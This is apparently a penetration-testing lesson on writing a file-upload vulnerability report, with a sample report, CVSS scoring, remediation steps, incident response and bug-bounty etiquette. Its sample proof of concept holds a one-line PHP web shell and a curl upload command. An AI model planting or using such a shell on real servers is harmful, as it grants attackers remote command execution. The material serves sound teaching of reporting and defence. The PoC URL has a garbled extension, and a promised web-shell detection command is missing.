Incident Response and Reporting

#From Exploitation to Professional Reporting#link

Finding a vulnerability is only part of the job. A professional penetration tester must also document findings clearly, communicate risk effectively, and provide actionable remediation guidance. In this lesson, we will cover how to write a professional file upload vulnerability report and how to respond if you discover an active exploitation in the wild.

Writing the Vulnerability Report

A well-structured vulnerability report ensures that the development team understands the issue, its impact, and how to fix it. Here is a template for a file upload vulnerability report:

VULNERABILITY REPORT
====================

Title:          Unrestricted File Upload Leading to Remote Code Execution
Severity:       Critical
CVSS Score:     9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE:            CWE-434 (Unrestricted Upload of File with Dangerous Type)
OWASP:          A04:2021 – Insecure Design
Location:       https://example.com/api/v1/upload
Discovered:     2024-01-15
Reporter:       [Your Name]

--- DESCRIPTION ---
The file upload endpoint at /api/v1/upload does not adequately
validate uploaded files. While the application implements a
whitelist of allowed extensions (.jpg, .jpeg, .png, .gif),
alternative executable extensions such as .phtml, .php5, and
.phar are not blocked. An attacker can upload a web shell using
one of these extensions and execute arbitrary commands on the
server.

--- PROOF OF CONCEPT ---
1. Create a file named shell.phtml with the following content:
   <?php system($_GET['cmd']); ?>

2. Upload the file via the upload form or directly via:
   curl -X POST https://example.com/api/v1/upload \
     -F "file=@shell.phtml" \
     -H "Authorization: Bearer [token]"

3. The server responds with:
   {"status": "success", "path": "/uploads/a1b2c3.phtml"}

4. Execute commands by visiting:
   https://example.com/uploads/a1b2c3.pcmd?cmd=id

5. Response shows: uid=33(www-data) gid=33(www-data)

--- IMPACT ---
- Remote Code Execution as the web server user
- Access to application source code and configuration files
- Potential database access via application credentials
- Pivot to internal network systems
- Data exfiltration and service disruption

--- REMEDIATION ---
1. Implement a strict whitelist of allowed extensions
2. Verify file content using magic bytes (not just extension)
3. Store uploaded files outside the web root
4. Generate random filenames for stored files
5. Disable script execution in the upload directory
6. Implement file size limits
7. Use a Web Application Firewall (WAF) as additional protection

--- REFERENCES ---
- OWASP: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
- PortSwigger: https://portswigger.net/web-security/file-upload

CVSS Scoring for File Upload Vulnerabilities

The Common Vulnerability Scoring System (CVSS) provides a standardized way to communicate severity. File upload vulnerabilities that lead to RCE typically score between 8.0 and 10.0 depending on the attack vector and impact.

Incident Response: Active Exploitation

If you discover that a file upload vulnerability is being actively exploited in production, you need to follow an incident response process. This is different from a penetration test — you are responding to an active threat.

• ▪Detection: Identify the exploitation through log analysis, file integrity monitoring, or WAF alerts
• ▪Containment: Immediately block the upload endpoint or implement emergency WAF rules
• ▪Eradication: Remove all uploaded malicious files (web shells, backdoors)
• ▪Recovery: Patch the vulnerability and restore any affected systems
• ▪Lessons Learned: Conduct a post-incident review to prevent recurrence

Here is a practical command to find recently uploaded web shells on a Linux server:

Bug Bounty Reporting

If you are reporting a file upload vulnerability through a bug bounty program, additional considerations apply:

• ▪Follow the program's responsible disclosure policy
• ▪Do not access, modify, or delete other users' data
• ▪Do not perform denial of service testing
• ▪Provide a clear, concise proof of concept
• ▪Do not publicly disclose before the program allows it
• ▪Be patient — triage and validation can take weeks

Communicating with Development Teams

The most technically accurate report is useless if the development team cannot understand it. When communicating file upload vulnerabilities to developers:

• ▪Use the developer's language — reference their framework and codebase
• ▪Provide code snippets showing both the vulnerable code and the fix
• ▪Explain the business impact, not just the technical impact
• ▪Prioritize remediation steps — what to do immediately vs. long-term
• ▪Offer to verify the fix after implementation